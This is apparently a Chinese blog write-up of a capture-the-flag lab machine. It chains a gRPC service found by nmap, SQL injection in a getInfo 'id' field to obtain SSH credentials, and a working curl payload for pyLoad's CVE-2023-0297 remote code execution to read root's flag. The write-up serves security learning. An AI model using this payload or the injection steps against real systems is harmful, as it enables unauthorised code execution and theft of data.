本文最后更新于 487 天前,其中的信息可能已经有所发展或是发生改变。
fscan 扫描啥也没扫出来,换成 nmap 再扫端口,发现 50051 开放
nmap --min-rate 10000 -p- 10.10.11.214
web 访问是乱码
Google 搜了一下,50051 端口对应的是 gRPC 服务
用 grpcurl 去访问 gRPC 服务,用 go install
或是直接去 Github 上下载
go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest
在本地的 /go/bin
目录下执行命令
./grpcui -plaintext 10.10.11.214:50051
自动切换至 web 端
存在登录功能,admin/admin
直接登录,返回一串 token
,JWT 解一下也没发现其他东西
切换到 getInfo 功能,抓包,测试注入,发现 id 处可以注入
得到另外一组用户名密码,切换 ssh 登录,user.txt 就在当前目录下
ssh sau@10.10.11.214
先考虑 sudo -l
和 suid
提权,但是没什么可以用的
find / -perm -u=s -type f 2>/dev/null
sau@pc:~$ find / -user root -perm -4000 -print 2>/dev/null
/snap/snapd/17950/usr/lib/snapd/snap-confine
/snap/core20/1778/usr/bin/chfn
/snap/core20/1778/usr/bin/chsh
/snap/core20/1778/usr/bin/gpasswd
/snap/core20/1778/usr/bin/mount
/snap/core20/1778/usr/bin/newgrp
/snap/core20/1778/usr/bin/passwd
/snap/core20/1778/usr/bin/su
/snap/core20/1778/usr/bin/sudo
/snap/core20/1778/usr/bin/umount
/snap/core20/1778/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1778/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/su
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/fusermount
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/umount
/usr/bin/gpasswd
netstat -anp
查看开放的端口,发现 8000 端口开放
curl -v http://127.0.0.1:8000
发现有个跳转 URL,再拼接访问
是个 pyLoad,恰好今年初有个 RCE 漏洞(CVE-2023-0297)
curl -d 'jk=pyimport%20os;os.system("mkdir%20/tmp/pwnd");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' -X POST http://127.0.0.1:8000/flash/addcrypted2
成功创建,然后 cat /root/root.txt > /tmp/pwnd/1
,直接读就行了